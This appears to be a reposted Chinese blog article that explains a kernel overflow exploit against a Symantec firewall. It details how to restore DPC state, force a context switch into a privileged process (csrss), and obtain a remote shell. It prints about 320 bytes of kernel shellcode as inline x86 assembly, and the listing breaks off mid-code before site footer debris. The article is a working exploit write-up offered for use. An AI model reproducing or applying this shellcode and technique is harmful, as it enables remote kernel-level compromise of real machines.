SYMANTEC防火牆核心溢位利用之非安全返回法二(轉)[@more@]
沒實現非安全返回法一,因為裡面的技術要點都包括在安全返回法和非安全返回法二里了。主要就是那個BAT的下載檔案的內容,可以參見相關文章。這篇文章是建立我之前寫過的SYMANTEC防火牆核心溢位利用之安全返回法上的基礎上的,若有未詳細說明之處可參見前文。
正如FLASHSKY所說,非安全返回法二的關鍵在於恢復DPC,不象安全返回法,我們完全不必關心執行緒切換和DPC排程。不過FLASHSKY過分誇大了DPC被破壞的情況,尤其是環境切換,就算在安全返回法裡,在執行我們的程式碼時系統也進行了數次環境切換和DPC排程(在int 0x2e裡發生)。先讓我們看看一個DPC排程是怎樣完成的,以下是KPCR結構中涉及到DPC排程的部分:
+7e0 uint32 DpcInterruptRequested
+7e4 void *ChainedInterruptList
+7e8 uint32 CachePad3[2]
+7f0 uint32 MaximumDpcQueueDepth
+7f4 uint32 MinimumDpcRate
+7f8 uint32 CachePad4[2]
+800 struct _LIST_ENTRY DpcListHead
+800 struct _LIST_ENTRY *Flink
+804 struct _LIST_ENTRY *Blink
+808 uint32 DpcQueueDepth
+80c uint32 DpcRoutineActive
+810 uint32 DpcCount
+814 uint32 DpcLastCount
+818 uint32 DpcRequestRate
+81c void *DpcStack
DPC的處理方法有兩種,一種是把KDPC物件串上DpcListHead。在KiIdleLoop或者KiDispatchInterrupt裡,系統檢測到當前DPC連結串列不為空,於是呼叫KiRetireDpcList,KiRetireDpcList設定當前DpcRoutineActive狀態為TRUE(M$在這裡把ESP的值賦與該成員,顯然任何時刻ESP都是大於0的)並把DpcInterruptRequested設定為TRUE,然後從DpcListHead裡取出串在該連結串列上的KDPC結構的DPC例程入口和引數。處理完後恢復原狀並把DpcCount加一。另一種方法是等待KTIMER排程物件,DPC排程發生的頻率是相當高的,但大部分時間都是處理定時器KTIMER過期DPC,很多DPC透過等待KTIMER的方法被在KiTimerExpiration->KiTimerListExpire裡處理。這裡的溢位是屬於第一種方法,我們處於DPC排程中,DpcRoutineActive和DpcInterruptRequested都為TRUE,進行棧回溯就會發現是由KiIdleLoop呼叫了KiRetireDpcList。顯然這兩處成員得恢復原來的0值(其實不恢復也可以,在第一個int 0x2e裡如果發生了DPC排程後就會幫我們恢復,但就會降低溢位的成功率,因為如果在int 0x2e在ATTACH程式前還沒發生DPC排程系統就會藍色畫面,藍色畫面程式碼0x)。其實系統中有些藍色畫面是系統有意呼叫以防止你做某些事,這些事情如果你處理得好是不會對系統產生影響的,比如不能在DPC處理處於活動(就是DpcRoutineActive為TRUE)進行環境切換,但在這個漏洞溢位裡我們第一步就是進行環境切換:)。所以突破系統對我們的刁難而完成系統本身的功能,就是我們對核心感興趣的原因,能夠控制整個作業系統真的很爽,扯遠了,呵呵。恢復DPC有個技巧,既然上一次KiIdleLoop的呼叫是KiRetireDpcList,那麼IDLE執行緒的KernelStack(ETHREAD+0x28)處的內容肯定指向KiIdleLoop裡呼叫KiRetireDpcList後的下一條指令:
call
nt!KiRetireDpcList
cmp
dword ptr [ebx+0x128],0x0
如果不改動這裡的話環境切換後系統恢復到這裡執行,下一步就是判斷儲存在ebp裡的DpcListHead代表的連結串列是否為空,但由於剛發生完一個環境切換ebp的值已經被修改為KTSS的值了,切換到IDLE執行緒後肯定出錯。所以我們需要人為的對這個地址(指呼叫KiRetireDpcList後的下一條指令)做點手腳,加上0x2d,使它變為呼叫了SwapContext後的下一條指令:
call
nt!SwapContext
lea
ebp,[ebx+0x800]
顯然ebp已經恢復了,DPC排程可以繼續進行了。
恢復DPC我們有兩種選擇,一是將當前DPC跳過,二是重新把當前DPC(這裡是ndisMDpc,它的KDPC結構地址儲存在堆疊中距離溢位點比較大的地方)加入DPC連結串列頭準備下一次重新排程。前一種方法的好處是方便,可以省下不少程式碼,也是我使用的方法,不過有一個小問題,就是無法再PING通,會產生網路已被中斷的錯覺,其實網路是通的,SHELL也拿得到。第二種方法雖然網路功能一切正常,不過遠端的機器會出現一些異常,比如開始選單無法再用,當然SHELL也一切正常。兩種方法的共同點都是必須為前面加鎖的NDIS_MINIPORT_BLOCK結構解鎖,該結構地址儲存在IDLE執行緒堆疊中距離溢位點距離比較大的地方,所以可以很安全取到。
下一步就是進行環境切換,要切換的執行緒是我們選擇的目標特權程式內核心棧未換出的執行緒。把要切換的執行緒賦給KPCR+0x124處,把下一個要切換的執行緒(IDLE執行緒)賦於KPCR+0x128處,並把IDLE執行緒狀態(ETHREAD+02d
byte
State)改為待命(0x3)。然後就是透過改變CR3切換程式地址空間、修改TEB描述符指向新執行緒TEB、從目標要切換執行緒中取出KernelStack賦於當前esp,記住,從這裡開始我們已經處於新執行緒的堆疊中了,如果你之前有什麼重要的資訊壓在IDLE執行緒的堆疊裡,趕快在切換ESP前出棧吧。還有一點很重要的是,由於我們是強行把一個處於等待狀態的執行緒進行環境切換(要想找到處於就緒狀態且屬於目標特權程式的執行緒實在太考驗RP了,其機率快可以比上抽六合彩了),就必須在等待連結串列KiWaitInListHead裡把該執行緒摘除(這裡說一下KiWaitInListHead和KiWaitOutListHead的區別,前者是處於等待狀態且核心棧未被換出的執行緒連結串列,而後者是處於等待狀態且核心堆疊已被換出的執行緒連結串列),否則就會在KiOutSwapKernelStack處發生死迴圈。最後就是返回到KiSwapContext(這是該執行緒上次環境切換時儲存在堆疊中的),系統就會接管工作了(這裡需要提出的是,其實IDLE執行緒自從被賦於KPCR+0x128並被改為待命後,早在第一個int 0x2e就被排程執行了)。
我開始時SHELLCODE的結構是先完成其它功能,再環境切換,結果遇到了個很奇怪的問題。就是在WinDBG裡如果單步跟過ZwLockVirtualMemory的int 0x2e再g或者在該int 0x2e後任意處設定一個int 0x3斷下來再g,系統都一切正常,但如果直接g或者乾脆前面就沒斷過那麼系統就會出現奇怪的問題。我猜想是WinDBG代替完成了一些DPC的呼叫。我曾經嘗試解決這個問題,結果被鬱悶了N次,主要是在WinDBG的干預下系統一切正常。後來想到前面幾次環境切換和DPC排程都使用了IDLE執行緒的核心堆疊,而後面又直接修改會正常值(IDLE的KernelStack, 在ETHREAD+0x28處,是個不變的值,不修改的話會返回到錯誤的地址),估計問題發生在這裡,所以我把SHELLCODE前後結構改了,先環境切換再完成其它功能,這樣不會再幹預IDLE的核心棧,事實證明這樣是正確的:)還有就是我的環境切換程式碼是一再精簡過的SwapContext版本,把所有可有可無的程式碼全去掉了,比如修改KPCR中某些不會用到的成員的程式碼全去掉了,甚至連執行緒狀態都沒改,還是保持在等待狀態,反正系統正常環境切換也不會檢測正在執行的執行緒是什麼狀態,呵呵。
下面是核心SHELLCODE程式碼,轉換成機器碼大概320個位元組。如果用第二種恢復DPC的方法大概
350個位元組:
__declspec(naked)JustTest2()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebp, 0xffdff80c
mov ebx, dword ptr [ebp-0x2b0]
mov ebx, dword ptr [ebx+0x44]
xor eax, eax
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov dword ptr [ebp], eax
mov esi, dword ptr [esp+0x33c]
mov byte ptr [esi+0x2d], al
lea esi, dword ptr [ebx+0x50]
FindThread:
mov esi, dword ptr [esi]
test byte ptr [esi-0x86], 0x1
jnz go3
jmp FindThread
go3:
mov edx, dword ptr [ebx+0x18]
sub esi, 0x1a4
mov ebx, 0xffdff000
//
lea ecx, dword ptr [ebp-0xc]
mov ebp, dword ptr [ebx+0x124]
mov dword ptr [ebx+0x128], ebp
inc byte ptr [ebp+0x2d]
mov edi, dword ptr [ebp+0x28]
add dword ptr [edi+0x8], 0x2d
//
mov ebp, dword ptr [edi-0x8]
//
add ebp, 0x4
//
mov edi, dword ptr [ecx]
//
mov
dword ptr [edi], ebp
//
mov dword ptr [ebp+4], edi
//
mov dword ptr [ecx], ebp
mov dword ptr [ebx+0x124], esi
mov cl, byte ptr [esi+0x2c]
mov byte ptr [ebx+0x50], cl
mov ebp, dword ptr [esi+0x5c]
mov edi, dword ptr [esi+0x60]
mov dword ptr [edi], ebp
mov dword ptr [ebp+0x4], edi
pop edi
push dword ptr [esi+0x1c]
pop dword ptr [ebx+0x8]
mov esp, dword ptr [esi+0x28]
mov ecx, dword ptr [esi+0x20]
mov dword ptr [ebx+0x18], ecx
mov ebp, dword ptr [ebx+0x3c]
mov word ptr [ebp+0x3a], cx
shr ecx, 0x10
mov byte ptr [ebp+0x3c], cl
shr ecx, 0x8
mov byte ptr [ebp+0x3f], cl
mov ebp, dword ptr [ebx+0x40]
mov dword ptr [ebp+0x1c], edx
mov cr3, edx
push edi
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push 0x10
pop ecx
lea edi, dword ptr [ebp-0x40]
ZeroStack:
·上一篇:·下一篇:
|
|
最新更新 |
|
|
|
······························ | |
|
|
|
| | | | | | | |
|
|
Copyright © 2004 - 2007 All Rights Reserved
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-969905/,如需轉載,請註明出處,否則將追究法律責任。
|